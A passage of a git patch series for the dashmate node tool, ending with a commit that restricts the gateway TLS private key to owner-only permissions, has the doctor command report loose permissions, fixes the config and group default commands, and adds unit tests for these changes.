expect(helper.isBuiltLocally).to.be.true(); + + // The helper is always reported with its released image, while compose runs + // the locally built `dashmate-helper:local`. Nothing pulls the reported + // image because the service is built, so the two never disagree in practice + expect(helper.image).to.equal(DASHMATE_HELPER_DOCKER_IMAGE); + }); + + it('should mark every service built from sources when all builds are enabled', function it() { + const services = createGetServiceList( + [ + 'docker-compose.build.dashmate_helper.yml', + 'docker-compose.build.drive_abci.yml', + 'docker-compose.build.rs-dapi.yml', + ], + this.sinon, + )(config); + + const builtServices = services + .filter((service) => service.isBuiltLocally) + .map((service) => service.name); + + expect(builtServices).to.have.members(['dashmate_helper', 'drive_abci', 'rs_dapi']); + + const core = services.find((service) => service.name === 'core'); + + expect(core.isBuiltLocally).to.be.false(); + }); +}); diff --git a/packages/dashmate/test/unit/listr/tasks/restartNodeTaskFactory.spec.js b/packages/dashmate/test/unit/listr/tasks/restartNodeTaskFactory.spec.js new file mode 100644 index 00000000000..6cc94e2d995 --- /dev/null +++ b/packages/dashmate/test/unit/listr/tasks/restartNodeTaskFactory.spec.js @@ -0,0 +1,84 @@ +import { Listr } from 'listr2'; +import restartNodeTaskFactory from '../../../../src/listr/tasks/restartNodeTaskFactory.js'; +import getConfigMock from '../../../../src/test/mock/getConfigMock.js'; + +describe('restartNodeTask', () => { + let config; + let dockerCompose; + let startNodeTask; + let stopNodeTask; + let buildServicesTask; + let getConfigProfiles; + let restartNodeTask; + + beforeEach(function it() { + config = getConfigMock(this.sinon); + config.get.withArgs('dashmate.helper.docker.build.enabled').returns(false); + config.get.withArgs('platform.drive.abci.docker.build.enabled').returns(false); + config.get.withArgs('platform.dapi.rsDapi.docker.build.enabled').returns(false); + + dockerCompose = { + pullMissingImages: this.sinon.stub().resolves([]), + }; + + getConfigProfiles = this.sinon.stub().returns(['core', 'platform', 'platform-dapi-rs']); + + startNodeTask = this.sinon.stub().returns(new Listr([{ task: () => {} }])); + stopNodeTask = this.sinon.stub().returns(new Listr([{ task: () => {} }])); + buildServicesTask = this.sinon.stub().returns(new Listr([{ task: () => {} }])); + + restartNodeTask = restartNodeTaskFactory( + startNodeTask, + stopNodeTask, + buildServicesTask, + dockerCompose, + getConfigProfiles, + ); + }); + + it('should not stop running services when a required image can not be pulled', async () => { + dockerCompose.pullMissingImages.rejects( + new Error('Failed to pull image dashpay/drive:4: no space left on device'), + ); + + await expect(restartNodeTask(config).run({})) + .to.be.rejectedWith('no space left on device'); + + expect(stopNodeTask).to.have.not.been.called(); + expect(startNodeTask).to.have.not.been.called(); + }); + + it('should make sure all images are present before stopping the node', async () => { + await restartNodeTask(config).run({}); + + expect(dockerCompose.pullMissingImages).to.have.been.calledOnce(); + expect(dockerCompose.pullMissingImages.firstCall.args[0]).to.equal(config); + expect(dockerCompose.pullMissingImages.firstCall.args[1].profiles).to.deep.equal([]); + expect(dockerCompose.pullMissingImages).to.have.been.calledBefore(stopNodeTask); + expect(stopNodeTask).to.have.been.calledOnceWithExactly(config); + expect(startNodeTask).to.have.been.calledOnceWithExactly(config); + }); + + it('should not pull images of services a platform only restart leaves alone', async () => { + await restartNodeTask(config).run({ platformOnly: true }); + + expect(dockerCompose.pullMissingImages.firstCall.args[1].profiles) + .to.deep.equal(['platform', 'platform-dapi-rs']); + }); + + it('should report pull progress while the node is still running', async () => { + dockerCompose.pullMissingImages.callsFake(async (pullConfig, { onProgress }) => { + onProgress('dashpay/drive:4: Downloading [====> ] 12MB/45MB'); + + return []; + }); + + const tasks = restartNodeTask(config); + + await tasks.run({}); + + const [pullTask] = tasks.tasks.filter((task) => task.title === 'Pull missing images'); + + expect(pullTask.output).to.equal('dashpay/drive:4: Downloading [====> ] 12MB/45MB'); + }); +}); From 93fd1ee4331fd3d274e33ea624e30ffa7d513419 Mon Sep 17 00:00:00 2001 From: Ivan Shumkov Date: Tue, 28 Jul 2026 20:14:46 +0700 Subject: [PATCH 3/3] fix(dashmate): keep the gateway TLS private key readable only by its owner The key was written with default permissions, so under the usual umask it landed world-readable. Both writers are fixed, and the two historical migrations that copy the key now restrict it as well, since copyFileSync reproduces the source mode and would otherwise carry the old permissions forward. Writing it correctly only helps new installations. Nothing in dashmate inspects the mode of any SSL file, and on the ZeroSSL path a renewal reuses the existing key and skips the write entirely, so a deployed host would have stayed exposed indefinitely. Permissions are therefore also restricted when starting the node, which is the one action every operator performs regardless of certificate provider, and doctor reports a key other users can read so it is visible in the meantime. Neither creates the file if it is absent: an empty key would convince the certificate validators one exists. Also fixes config and group default printing the current name. An args default of null is never applied by oclif's parser, so the argument stayed undefined and both commands failed instead of reporting, which matters because a planned feature treats them as read-only. Test would have caught this in CI: 8 specs fail before the fix. Co-Authored-By: Claude Opus 5 --- .../configs/getConfigFileMigrationsFactory.js | 14 +++ .../dashmate/src/commands/config/default.js | 4 +- .../dashmate/src/commands/group/default.js | 4 +- .../doctor/analyse/analyseConfigFactory.js | 16 +++ .../tasks/doctor/collectSamplesTaskFactory.js | 20 ++++ .../listr/tasks/ssl/saveCertificateTask.js | 7 +- .../obtainZeroSSLCertificateTaskFactory.js | 10 +- .../src/listr/tasks/startNodeTaskFactory.js | 22 ++++ .../test/unit/commands/config/default.spec.js | 62 +++++++++++ .../test/unit/commands/group/default.spec.js | 69 ++++++++++++ .../migrateConfigFileFactory.spec.js | 90 ++++++++++++++- .../analyse/analyseConfigFactory.spec.js | 58 ++++++++++ .../doctor/collectSamplesTaskFactory.spec.js | 79 ++++++++++++++ .../listr/tasks/startNodeTaskFactory.spec.js | 103 ++++++++++++++++++ .../test/unit/ssl/saveCertificateTask.spec.js | 70 ++++++++++++ ...btainZeroSSLCertificateTaskFactory.spec.js | 83 ++++++++++++++ 16 files changed, 704 insertions(+), 7 deletions(-) create mode 100644 packages/dashmate/test/unit/commands/config/default.spec.js create mode 100644 packages/dashmate/test/unit/commands/group/default.spec.js create mode 100644 packages/dashmate/test/unit/doctor/analyse/analyseConfigFactory.spec.js create mode 100644 packages/dashmate/test/unit/listr/tasks/doctor/collectSamplesTaskFactory.spec.js create mode 100644 packages/dashmate/test/unit/listr/tasks/startNodeTaskFactory.spec.js create mode 100644 packages/dashmate/test/unit/ssl/saveCertificateTask.spec.js diff --git a/packages/dashmate/configs/getConfigFileMigrationsFactory.js b/packages/dashmate/configs/getConfigFileMigrationsFactory.js index 23fe3f0fbaa..203d1a87c79 100644 --- a/packages/dashmate/configs/getConfigFileMigrationsFactory.js +++ b/packages/dashmate/configs/getConfigFileMigrationsFactory.js @@ -331,6 +331,13 @@ export default function getConfigFileMigrationsFactory(homeDir, defaultConfigs) if (fs.existsSync(oldFilePath)) { fs.mkdirSync(path.dirname(newFilePath), { recursive: true }); fs.copyFileSync(oldFilePath, newFilePath); + + // A copy keeps the permissions of the source, and the private key + // must not be readable by other users on the host + if (filename === 'private.key') { + fs.chmodSync(newFilePath, 0o600); + } + fs.rmSync(oldFilePath, { recursive: true }); } } @@ -712,6 +719,13 @@ export default function getConfigFileMigrationsFactory(homeDir, defaultConfigs) if (fs.existsSync(oldFilePath)) { fs.mkdirSync(path.dirname(newFilePath), { recursive: true }); fs.copyFileSync(oldFilePath, newFilePath); + + // A copy keeps the permissions of the source, and the private key + // must not be readable by other users on the host + if (filename === 'private.key') { + fs.chmodSync(newFilePath, 0o600); + } + fs.rmSync(oldFilePath, { recursive: true }); } } diff --git a/packages/dashmate/src/commands/config/default.js b/packages/dashmate/src/commands/config/default.js index 91a67d25a33..227518d8f8d 100644 --- a/packages/dashmate/src/commands/config/default.js +++ b/packages/dashmate/src/commands/config/default.js @@ -13,7 +13,6 @@ Shows default config name or sets another config as default name: 'config', required: false, description: 'config name', - default: null, // only allow input to be from a discrete set }, ), }; @@ -31,7 +30,8 @@ Shows default config name or sets another config as default flags, configFile, ) { - if (configName === null) { + // The argument is omitted when only the current default config name is requested + if (configName === undefined) { // eslint-disable-next-line no-console console.log(configFile.getDefaultConfigName()); } else { diff --git a/packages/dashmate/src/commands/group/default.js b/packages/dashmate/src/commands/group/default.js index 775ec88352a..ec8fc3c0cd6 100644 --- a/packages/dashmate/src/commands/group/default.js +++ b/packages/dashmate/src/commands/group/default.js @@ -13,7 +13,6 @@ Shows default group name or sets another group as default name: 'group', required: false, description: 'group name', - default: null, // only allow input to be from a discrete set }, ), }; @@ -31,7 +30,8 @@ Shows default group name or sets another group as default flags, configFile, ) { - if (groupName === null) { + // The argument is omitted when only the current default group name is requested + if (groupName === undefined) { // eslint-disable-next-line no-console console.log(configFile.getDefaultGroupName()); } else { diff --git a/packages/dashmate/src/doctor/analyse/analyseConfigFactory.js b/packages/dashmate/src/doctor/analyse/analyseConfigFactory.js index 80007be0129..87bfe152628 100644 --- a/packages/dashmate/src/doctor/analyse/analyseConfigFactory.js +++ b/packages/dashmate/src/doctor/analyse/analyseConfigFactory.js @@ -173,6 +173,22 @@ and revoke the previous certificate in the ZeroSSL dashboard`, } } + // Gateway TLS private key permissions + const sslPrivateKeyMode = samples.getServiceInfo('gateway', 'sslPrivateKeyMode'); + + // eslint-disable-next-line no-bitwise + if (typeof sslPrivateKeyMode === 'number' && (sslPrivateKeyMode & 0o077) !== 0) { + const problem = new Problem( + `Gateway TLS private key is accessible to other users on this host (mode ${sslPrivateKeyMode.toString(8)}, expected 600)`, + chalk`Please make the private key accessible only to its owner: + {bold.cyanBright chmod 600 ~/.dashmate/${config.getName()}/platform/gateway/ssl/private.key} +Use your dashmate home directory if it is not the default one`, + SEVERITY.HIGH, + ); + + problems.push(problem); + } + if (samples?.getDashmateConfig()?.get('network') !== NETWORK_LOCAL) { // Core P2P port const coreP2pPort = samples.getServiceInfo('core', 'p2pPort'); diff --git a/packages/dashmate/src/listr/tasks/doctor/collectSamplesTaskFactory.js b/packages/dashmate/src/listr/tasks/doctor/collectSamplesTaskFactory.js index 46d8f4fd7ad..fb47a2adb26 100644 --- a/packages/dashmate/src/listr/tasks/doctor/collectSamplesTaskFactory.js +++ b/packages/dashmate/src/listr/tasks/doctor/collectSamplesTaskFactory.js @@ -85,6 +85,26 @@ export default function collectSamplesTaskFactory( enabled: () => config.get('platform.enable'), title: 'Gateway SSL certificates', task: async () => { + // The private key permissions are collected for every provider, + // since a key readable by other users is a problem regardless + // of how it was obtained + const privateKeyFilePath = homeDir.joinPath( + config.getName(), + 'platform', + 'gateway', + 'ssl', + 'private.key', + ); + + if (fs.existsSync(privateKeyFilePath)) { + ctx.samples.setServiceInfo( + 'gateway', + 'sslPrivateKeyMode', + // eslint-disable-next-line no-bitwise + fs.statSync(privateKeyFilePath).mode & 0o777, + ); + } + if (!config.get('platform.gateway.ssl.enabled')) { ctx.samples.setServiceInfo('gateway', 'ssl', { error: 'disabled', diff --git a/packages/dashmate/src/listr/tasks/ssl/saveCertificateTask.js b/packages/dashmate/src/listr/tasks/ssl/saveCertificateTask.js index bbcfac1ea04..c975133af99 100644 --- a/packages/dashmate/src/listr/tasks/ssl/saveCertificateTask.js +++ b/packages/dashmate/src/listr/tasks/ssl/saveCertificateTask.js @@ -31,7 +31,12 @@ export default function saveCertificateTaskFactory(homeDir) { fs.writeFileSync(crtFile, ctx.certificateFile, 'utf8'); const keyFile = path.join(certificatesDir, 'private.key'); - fs.writeFileSync(keyFile, ctx.privateKeyFile, 'utf8'); + + // The private key must not be readable by other users on the host. + // chmod is required in addition to the write mode because the mode is + // applied only when the file is created, and the key is usually rewritten + fs.writeFileSync(keyFile, ctx.privateKeyFile, { encoding: 'utf8', mode: 0o600 }); + fs.chmodSync(keyFile, 0o600); config.set('platform.gateway.ssl.enabled', true); }, diff --git a/packages/dashmate/src/listr/tasks/ssl/zerossl/obtainZeroSSLCertificateTaskFactory.js b/packages/dashmate/src/listr/tasks/ssl/zerossl/obtainZeroSSLCertificateTaskFactory.js index a08e7ab7d02..2e1dc671f81 100644 --- a/packages/dashmate/src/listr/tasks/ssl/zerossl/obtainZeroSSLCertificateTaskFactory.js +++ b/packages/dashmate/src/listr/tasks/ssl/zerossl/obtainZeroSSLCertificateTaskFactory.js @@ -272,7 +272,15 @@ and all Dash service ports listed above.`); title: 'Save certificate private key file', enabled: (ctx) => !ctx.isPrivateKeyFilePresent, task: async (ctx, task) => { - fs.writeFileSync(ctx.privateKeyFilePath, ctx.privateKeyFile, 'utf8'); + // The private key must not be readable by other users on the host. + // chmod is required in addition to the write mode because the mode is + // applied only when the file is created, and a key left over from a + // previous certificate is overwritten in place + fs.writeFileSync(ctx.privateKeyFilePath, ctx.privateKeyFile, { + encoding: 'utf8', + mode: 0o600, + }); + fs.chmodSync(ctx.privateKeyFilePath, 0o600); // eslint-disable-next-line no-param-reassign task.output = ctx.privateKeyFilePath; diff --git a/packages/dashmate/src/listr/tasks/startNodeTaskFactory.js b/packages/dashmate/src/listr/tasks/startNodeTaskFactory.js index a0b618272a4..507fa082593 100644 --- a/packages/dashmate/src/listr/tasks/startNodeTaskFactory.js +++ b/packages/dashmate/src/listr/tasks/startNodeTaskFactory.js @@ -1,3 +1,4 @@ +import fs from 'fs'; import { Listr } from 'listr2'; import path from 'path'; import { Observable } from 'rxjs'; @@ -84,6 +85,27 @@ export default function startNodeTaskFactory( ensureFileMountExists(hostAccessLogPath, 0o666); } + + // The gateway TLS private key must not be readable by other users on the host. + // Keys obtained before this was enforced keep their original permissions until + // they are replaced, so they are restricted here on every start + const privateKeyFilePath = homeDir.joinPath( + config.getName(), + 'platform', + 'gateway', + 'ssl', + 'private.key', + ); + + if (fs.existsSync(privateKeyFilePath)) { + try { + fs.chmodSync(privateKeyFilePath, 0o600); + } catch (e) { + // Failing to restrict the key must not prevent the node from starting + // eslint-disable-next-line no-console + console.warn(`Can't restrict access to ${privateKeyFilePath}: ${e.message}`); + } + } } return new Listr([ diff --git a/packages/dashmate/test/unit/commands/config/default.spec.js b/packages/dashmate/test/unit/commands/config/default.spec.js new file mode 100644 index 00000000000..7d3d7dbd8e9 --- /dev/null +++ b/packages/dashmate/test/unit/commands/config/default.spec.js @@ -0,0 +1,62 @@ +import { Parser } from '@oclif/core'; +import ConfigDefaultCommand from '../../../../src/commands/config/default.js'; +import ConfigFile from '../../../../src/config/configFile/ConfigFile.js'; +import HomeDir from '../../../../src/config/HomeDir.js'; +import getBaseConfigFactory from '../../../../configs/defaults/getBaseConfigFactory.js'; + +describe('Config default command', () => { + const flags = {}; + + let configFile; + let baseConfigName; + let consoleLog; + + /** + * Parse the command line the same way oclif does at runtime, so the test + * exercises the command's own argument definitions and not a hand-made object. + * + * @param {string[]} argv + * @returns {Promise} + */ + async function parseArgs(argv) { + const { args } = await Parser.parse(argv, { args: ConfigDefaultCommand.args }); + + return args; + } + + beforeEach(async function beforeEach() { + const getBaseConfig = getBaseConfigFactory(HomeDir.createTemp()); + const baseConfig = getBaseConfig(); + + baseConfigName = baseConfig.getName(); + + configFile = new ConfigFile([baseConfig], '1.0.0', null, baseConfigName, null); + + consoleLog = this.sinon.stub(console, 'log'); + }); + + it('should print default config name if config name is not specified', async function it() { + const command = new ConfigDefaultCommand(); + + const setDefaultConfigName = this.sinon.spy(configFile, 'setDefaultConfigName'); + + await command.runWithDependencies(await parseArgs([]), flags, configFile); + + expect(consoleLog).to.be.calledOnceWith(baseConfigName); + + // Reading the default config name must not modify the config file + expect(setDefaultConfigName).to.not.be.called(); + expect(configFile.getDefaultConfigName()).to.equal(baseConfigName); + }); + + it('should set specified config as default', async () => { + const command = new ConfigDefaultCommand(); + + configFile.setDefaultConfigName(null); + + await command.runWithDependencies(await parseArgs([baseConfigName]), flags, configFile); + + expect(configFile.getDefaultConfigName()).to.equal(baseConfigName); + expect(consoleLog).to.be.calledOnceWith(`${baseConfigName} config set as default`); + }); +}); diff --git a/packages/dashmate/test/unit/commands/group/default.spec.js b/packages/dashmate/test/unit/commands/group/default.spec.js new file mode 100644 index 00000000000..ce11242d7a6 --- /dev/null +++ b/packages/dashmate/test/unit/commands/group/default.spec.js @@ -0,0 +1,69 @@ +import { Parser } from '@oclif/core'; +import GroupDefaultCommand from '../../../../src/commands/group/default.js'; +import ConfigFile from '../../../../src/config/configFile/ConfigFile.js'; +import HomeDir from '../../../../src/config/HomeDir.js'; +import getBaseConfigFactory from '../../../../configs/defaults/getBaseConfigFactory.js'; + +describe('Group default command', () => { + const flags = {}; + const groupName = 'local'; + + let consoleLog; + + /** + * Parse the command line the same way oclif does at runtime, so the test + * exercises the command's own argument definitions and not a hand-made object. + * + * @param {string[]} argv + * @returns {Promise} + */ + async function parseArgs(argv) { + const { args } = await Parser.parse(argv, { args: GroupDefaultCommand.args }); + + return args; + } + + /** + * @param {string|null} defaultGroupName + * @returns {ConfigFile} + */ + function createConfigFile(defaultGroupName) { + const getBaseConfig = getBaseConfigFactory(HomeDir.createTemp()); + const baseConfig = getBaseConfig(); + + baseConfig.set('group', groupName); + + return new ConfigFile([baseConfig], '1.0.0', null, null, defaultGroupName); + } + + beforeEach(function beforeEach() { + consoleLog = this.sinon.stub(console, 'log'); + }); + + it('should print default group name if group name is not specified', async function it() { + const configFile = createConfigFile(groupName); + + const command = new GroupDefaultCommand(); + + const setDefaultGroupName = this.sinon.spy(configFile, 'setDefaultGroupName'); + + await command.runWithDependencies(await parseArgs([]), flags, configFile); + + expect(consoleLog).to.be.calledOnceWith(groupName); + + // Reading the default group name must not modify the config file + expect(setDefaultGroupName).to.not.be.called(); + expect(configFile.getDefaultGroupName()).to.equal(groupName); + }); + + it('should set specified group as default', async () => { + const configFile = createConfigFile(null); + + const command = new GroupDefaultCommand(); + + await command.runWithDependencies(await parseArgs([groupName]), flags, configFile); + + expect(configFile.getDefaultGroupName()).to.equal(groupName); + expect(consoleLog).to.be.calledOnceWith(`${groupName} group set as default`); + }); +}); diff --git a/packages/dashmate/test/unit/config/configFile/migrateConfigFileFactory.spec.js b/packages/dashmate/test/unit/config/configFile/migrateConfigFileFactory.spec.js index a1065b8b10e..176e4048db6 100644 --- a/packages/dashmate/test/unit/config/configFile/migrateConfigFileFactory.spec.js +++ b/packages/dashmate/test/unit/config/configFile/migrateConfigFileFactory.spec.js @@ -11,13 +11,14 @@ describe('migrateConfigFileFactory', () => { let container; let createConfigFile; let migrateConfigFile; + let homeDir; beforeEach(async () => { container = await createDIContainer(); migrateConfigFile = container.resolve('migrateConfigFile'); createConfigFile = container.resolve('createConfigFile'); - const homeDir = container.resolve('homeDir'); + homeDir = container.resolve('homeDir'); homeDir.change(new HomeDir('/Users/dashmate/.dashmate', true)); mockConfigFileData = getConfigFileDataV0250(); @@ -260,4 +261,91 @@ describe('migrateConfigFileFactory', () => { ); } }); + + describe('SSL private key', () => { + // The migrations copy the certificate files to their new location, and a copy + // keeps the permissions of the source. Keys created before dashmate restricted + // them are world-readable and must not be carried over that way. + let tempHomeDir; + + beforeEach(() => { + tempHomeDir = HomeDir.createTemp(); + + homeDir.change(tempHomeDir); + }); + + afterEach(() => { + tempHomeDir.remove(); + }); + + /** + * @param {string} filePath + */ + function createWorldReadablePrivateKey(filePath) { + fs.mkdirSync(path.dirname(filePath), { recursive: true }); + fs.writeFileSync(filePath, 'PRIVATE KEY', 'utf8'); + fs.chmodSync(filePath, 0o644); + } + + /** + * @param {string} filePath + * @returns {number} + */ + function getPermissions(filePath) { + // eslint-disable-next-line no-bitwise + return fs.statSync(filePath).mode & 0o777; + } + + it('should restrict the private key moved out of the legacy ssl directory', () => { + createWorldReadablePrivateKey(tempHomeDir.joinPath('ssl', 'testnet', 'private.key')); + + const getConfigFileMigrations = container.resolve('getConfigFileMigrations'); + + getConfigFileMigrations()['0.25.7']({ + configs: { + testnet: { network: 'testnet' }, + }, + }); + + const newFilePath = tempHomeDir.joinPath( + 'testnet', + 'platform', + 'dapi', + 'envoy', + 'ssl', + 'private.key', + ); + + expect(getPermissions(newFilePath)).to.equal(0o600); + }); + + it('should restrict the private key moved from envoy to the gateway directory', () => { + createWorldReadablePrivateKey(tempHomeDir.joinPath( + 'testnet', + 'platform', + 'dapi', + 'envoy', + 'ssl', + 'private.key', + )); + + const { version } = JSON.parse(fs.readFileSync(path.join(PACKAGE_ROOT_DIR, 'package.json'), 'utf8')); + + migrateConfigFile( + mockConfigFileData, + mockConfigFileData.configFormatVersion, + version, + ); + + const newFilePath = tempHomeDir.joinPath( + 'testnet', + 'platform', + 'gateway', + 'ssl', + 'private.key', + ); + + expect(getPermissions(newFilePath)).to.equal(0o600); + }); + }); }); diff --git a/packages/dashmate/test/unit/doctor/analyse/analyseConfigFactory.spec.js b/packages/dashmate/test/unit/doctor/analyse/analyseConfigFactory.spec.js new file mode 100644 index 00000000000..82c2e04ceaf --- /dev/null +++ b/packages/dashmate/test/unit/doctor/analyse/analyseConfigFactory.spec.js @@ -0,0 +1,58 @@ +import analyseConfigFactory from '../../../../src/doctor/analyse/analyseConfigFactory.js'; +import Samples from '../../../../src/doctor/Samples.js'; +import HomeDir from '../../../../src/config/HomeDir.js'; +import getBaseConfigFactory from '../../../../configs/defaults/getBaseConfigFactory.js'; + +describe('analyseConfigFactory', () => { + let samples; + let analyseConfig; + + beforeEach(() => { + const getBaseConfig = getBaseConfigFactory(HomeDir.createTemp()); + const config = getBaseConfig(); + + config.set('platform.enable', true); + + samples = new Samples(); + samples.setDashmateConfig(config); + + analyseConfig = analyseConfigFactory(); + }); + + describe('gateway TLS private key permissions', () => { + it('should report a problem if the private key is readable by other users', () => { + samples.setServiceInfo('gateway', 'sslPrivateKeyMode', 0o644); + + const problems = analyseConfig(samples); + + const problem = problems + .find((item) => item.getDescription().includes('private key')); + + expect(problem).to.exist(); + expect(problem.getDescription()).to.include('600'); + expect(problem.getSolution()).to.include('chmod 600'); + }); + + it('should report a problem if the private key is readable by the group', () => { + samples.setServiceInfo('gateway', 'sslPrivateKeyMode', 0o640); + + const problems = analyseConfig(samples); + + expect(problems.find((item) => item.getDescription().includes('private key'))).to.exist(); + }); + + it('should not report a problem if the private key is accessible to its owner only', () => { + samples.setServiceInfo('gateway', 'sslPrivateKeyMode', 0o600); + + const problems = analyseConfig(samples); + + expect(problems.find((item) => item.getDescription().includes('private key'))).to.be.undefined(); + }); + + it('should not report a problem if there is no private key', () => { + const problems = analyseConfig(samples); + + expect(problems.find((item) => item.getDescription().includes('private key'))).to.be.undefined(); + }); + }); +}); diff --git a/packages/dashmate/test/unit/listr/tasks/doctor/collectSamplesTaskFactory.spec.js b/packages/dashmate/test/unit/listr/tasks/doctor/collectSamplesTaskFactory.spec.js new file mode 100644 index 00000000000..8f8d4b57fcb --- /dev/null +++ b/packages/dashmate/test/unit/listr/tasks/doctor/collectSamplesTaskFactory.spec.js @@ -0,0 +1,79 @@ +import fs from 'fs'; +import path from 'path'; +import collectSamplesTaskFactory from '../../../../../src/listr/tasks/doctor/collectSamplesTaskFactory.js'; +import HomeDir from '../../../../../src/config/HomeDir.js'; +import Samples from '../../../../../src/doctor/Samples.js'; +import getBaseConfigFactory from '../../../../../configs/defaults/getBaseConfigFactory.js'; + +describe('collectSamplesTaskFactory', () => { + let homeDir; + let config; + let samples; + let keyFilePath; + let collectSamplesTask; + + beforeEach(function beforeEach() { + homeDir = HomeDir.createTemp(); + + const getBaseConfig = getBaseConfigFactory(homeDir); + + config = getBaseConfig(); + + config.set('platform.enable', true); + config.set('platform.gateway.ssl.enabled', false); + + samples = new Samples(); + + keyFilePath = homeDir.joinPath(config.getName(), 'platform', 'gateway', 'ssl', 'private.key'); + + collectSamplesTask = collectSamplesTaskFactory( + {}, // dockerCompose + this.sinon.stub(), // createRpcClient + this.sinon.stub(), // getConnectionHost + this.sinon.stub(), // createTenderdashRpcClient + this.sinon.stub(), // getServiceList + this.sinon.stub(), // getOperatingSystemInfo + homeDir, + this.sinon.stub(), // validateZeroSslCertificate + this.sinon.stub(), // validateLetsEncryptCertificate + ); + }); + + afterEach(() => { + homeDir.remove(); + }); + + /** + * Collect only the gateway SSL samples. The rest of the pipeline queries Core, + * Tenderdash and the port checking service, which is out of scope for a unit test. + * + * @returns {Promise} + */ + async function collectGatewaySslSamples() { + const ctx = { samples }; + + const configurationTask = collectSamplesTask(config).tasks + .find((task) => task.title === 'Configuration'); + + const sslTask = (await configurationTask.task(ctx)).tasks + .find((task) => task.title === 'Gateway SSL certificates'); + + await sslTask.task(ctx); + } + + it('should collect permissions of the gateway TLS private key', async () => { + fs.mkdirSync(path.dirname(keyFilePath), { recursive: true }); + fs.writeFileSync(keyFilePath, 'PRIVATE KEY', 'utf8'); + fs.chmodSync(keyFilePath, 0o644); + + await collectGatewaySslSamples(); + + expect(samples.getServiceInfo('gateway', 'sslPrivateKeyMode')).to.equal(0o644); + }); + + it('should not collect private key permissions if there is no private key', async () => { + await collectGatewaySslSamples(); + + expect(samples.getServiceInfo('gateway', 'sslPrivateKeyMode')).to.be.undefined(); + }); +}); diff --git a/packages/dashmate/test/unit/listr/tasks/startNodeTaskFactory.spec.js b/packages/dashmate/test/unit/listr/tasks/startNodeTaskFactory.spec.js new file mode 100644 index 00000000000..8da731fe81e --- /dev/null +++ b/packages/dashmate/test/unit/listr/tasks/startNodeTaskFactory.spec.js @@ -0,0 +1,103 @@ +import fs from 'fs'; +import path from 'path'; +import HomeDir from '../../../../src/config/HomeDir.js'; +import startNodeTaskFactory from '../../../../src/listr/tasks/startNodeTaskFactory.js'; + +describe('startNodeTaskFactory', () => { + const configName = 'local'; + + let homeDir; + let config; + let keyFilePath; + let startNodeTask; + + beforeEach(function beforeEach() { + homeDir = HomeDir.createTemp(); + + const options = { + 'core.miner.enable': false, + network: 'testnet', + 'core.log.filePath': null, + 'platform.enable': true, + 'platform.drive.abci.logs': {}, + 'platform.gateway.log.accessLogs': [], + 'platform.drive.tenderdash.log.path': null, + 'platform.dapi.rsDapi.logs.accessLogPath': null, + }; + + config = { + getName: this.sinon.stub().returns(configName), + get: this.sinon.stub().callsFake((option) => options[option]), + }; + + keyFilePath = homeDir.joinPath(configName, 'platform', 'gateway', 'ssl', 'private.key'); + + startNodeTask = startNodeTaskFactory( + {}, // dockerCompose + this.sinon.stub(), // waitForCorePeersConnected + this.sinon.stub(), // waitForMasternodesSync + this.sinon.stub(), // createRpcClient + this.sinon.stub(), // buildServicesTask + this.sinon.stub(), // getConnectionHost + this.sinon.stub(), // ensureFileMountExists + homeDir, + this.sinon.stub().returns([]), // getConfigProfiles + ); + }); + + afterEach(() => { + homeDir.remove(); + }); + + /** + * @returns {number} + */ + function getPermissions() { + // eslint-disable-next-line no-bitwise + return fs.statSync(keyFilePath).mode & 0o777; + } + + /** + * @param {number} mode + */ + function createPrivateKeyFile(mode) { + fs.mkdirSync(path.dirname(keyFilePath), { recursive: true }); + fs.writeFileSync(keyFilePath, 'PRIVATE KEY', 'utf8'); + fs.chmodSync(keyFilePath, mode); + } + + it('should restrict access to a world-readable gateway TLS private key', () => { + createPrivateKeyFile(0o644); + + startNodeTask(config); + + expect(getPermissions()).to.equal(0o600); + }); + + it('should keep an already restricted private key untouched', () => { + createPrivateKeyFile(0o600); + + startNodeTask(config); + + expect(getPermissions()).to.equal(0o600); + }); + + it('should not create a private key file if there is none', () => { + startNodeTask(config); + + // An empty key file would be indistinguishable from a real one for the + // SSL validation, which decides whether a new certificate has to be obtained + expect(fs.existsSync(keyFilePath)).to.be.false(); + }); + + it('should warn and start anyway if the private key permissions can not be restricted', function it() { + createPrivateKeyFile(0o644); + + const consoleWarn = this.sinon.stub(console, 'warn'); + this.sinon.stub(fs, 'chmodSync').throws(new Error('EPERM: operation not permitted')); + + expect(() => startNodeTask(config)).to.not.throw(); + + expect(consoleWarn).to.be.calledOnce(); + }); +}); diff --git a/packages/dashmate/test/unit/ssl/saveCertificateTask.spec.js b/packages/dashmate/test/unit/ssl/saveCertificateTask.spec.js new file mode 100644 index 00000000000..bb21dc242e2 --- /dev/null +++ b/packages/dashmate/test/unit/ssl/saveCertificateTask.spec.js @@ -0,0 +1,70 @@ +import fs from 'fs'; +import path from 'path'; +import HomeDir from '../../../src/config/HomeDir.js'; +import saveCertificateTaskFactory from '../../../src/listr/tasks/ssl/saveCertificateTask.js'; + +describe('saveCertificateTask', () => { + const configName = 'local'; + + let homeDir; + let config; + let keyFilePath; + let crtFilePath; + let saveCertificateTask; + + beforeEach(function beforeEach() { + homeDir = HomeDir.createTemp(); + + config = { + getName: this.sinon.stub().returns(configName), + set: this.sinon.stub(), + }; + + const certificatesDir = homeDir.joinPath(configName, 'platform', 'gateway', 'ssl'); + + keyFilePath = path.join(certificatesDir, 'private.key'); + crtFilePath = path.join(certificatesDir, 'bundle.crt'); + + saveCertificateTask = saveCertificateTaskFactory(homeDir); + }); + + afterEach(() => { + homeDir.remove(); + }); + + /** + * @param {string} filePath + * @returns {number} + */ + function getPermissions(filePath) { + // eslint-disable-next-line no-bitwise + return fs.statSync(filePath).mode & 0o777; + } + + it('should write the TLS private key accessible only to its owner', async () => { + await saveCertificateTask(config).run({ + certificateFile: 'CERTIFICATE', + privateKeyFile: 'PRIVATE KEY', + }); + + expect(fs.readFileSync(keyFilePath, 'utf8')).to.equal('PRIVATE KEY'); + expect(getPermissions(keyFilePath)).to.equal(0o600); + + // The certificate chain is public, so it must stay readable for everyone + expect(fs.readFileSync(crtFilePath, 'utf8')).to.equal('CERTIFICATE'); + }); + + it('should restrict permissions of an already existing world-readable private key', async () => { + fs.mkdirSync(path.dirname(keyFilePath), { recursive: true }); + fs.writeFileSync(keyFilePath, 'PREVIOUS PRIVATE KEY', 'utf8'); + fs.chmodSync(keyFilePath, 0o644); + + await saveCertificateTask(config).run({ + certificateFile: 'CERTIFICATE', + privateKeyFile: 'PRIVATE KEY', + }); + + expect(fs.readFileSync(keyFilePath, 'utf8')).to.equal('PRIVATE KEY'); + expect(getPermissions(keyFilePath)).to.equal(0o600); + }); +}); diff --git 